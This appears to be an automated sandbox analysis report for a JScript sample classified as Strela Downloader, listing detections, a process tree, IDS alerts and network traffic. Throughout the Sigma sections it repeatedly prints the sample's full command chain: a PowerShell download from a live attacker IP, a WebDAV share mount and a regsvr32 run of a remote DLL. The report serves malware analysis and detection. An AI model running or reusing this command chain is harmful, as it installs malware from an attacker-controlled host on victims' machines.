Edit tour

Windows Analysis Report
326794322661816170.js

Overview

General Information

Sample name:	326794322661816170.js
Analysis ID:	1588969
MD5:	947a7b8ad257d0b871dd62cb5101ffd6
SHA1:	b87366835beab267f608689f1bc1ae9dd19f948b
SHA256:	7e010cc713cbe1a6d49fdc73f7fa017563e499d2e4f38086e38f57e25dd6763d
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Multi AV Scanner detection for submitted file

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 2688 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\326794322661816170.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 1708 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12294169134455.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5204 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6316 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 4044 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 5692 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7116 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2096 --field-trial-handle=1656,i,1017238091831218955,9117593508025748178,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 6540 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 2324 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 3192 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 2688	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12294169134455.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1708, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6316, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12294169134455.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1708, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6316, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\326794322661816170.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\326794322661816170.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\326794322661816170.js", ProcessId: 2688, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 2324, Protocol: tcp, SourceIp: 192.168.2.6, SourceIsIpv6: false, SourcePort: 49732

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12294169134455.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12294169134455.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\326794322661816170.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2688, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12294169134455.dll, ProcessId: 1708, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12294169134455.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12294169134455.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\326794322661816170.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2688, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12294169134455.dll, ProcessId: 1708, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12294169134455.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12294169134455.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\326794322661816170.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2688, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12294169134455.dll, ProcessId: 1708, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12294169134455.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12294169134455.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\326794322661816170.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2688, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12294169134455.dll, ProcessId: 1708, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12294169134455.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12294169134455.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\326794322661816170.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2688, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12294169134455.dll, ProcessId: 1708, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\326794322661816170.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\326794322661816170.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\326794322661816170.js", ProcessId: 2688, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12294169134455.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1708, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6316, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6540, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 2324, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 3192, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6540, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 2324, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12294169134455.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12294169134455.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\326794322661816170.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2688, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12294169134455.dll, ProcessId: 1708, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T07:47:50.077186+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.6	49716	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T07:47:52.881947+0100	1810005	1	Potentially Bad Traffic	192.168.2.6	49732	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T07:47:50.077186+0100	1810000	2	Potentially Bad Traffic	192.168.2.6	49716	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 326794322661816170.js

Virustotal: Detection: 9%

Perma Link

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 326794322661816170.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 326794322661816170.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.6:49716 -> 193.143.1.205:80
Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.6:49732 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 06:47:49 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

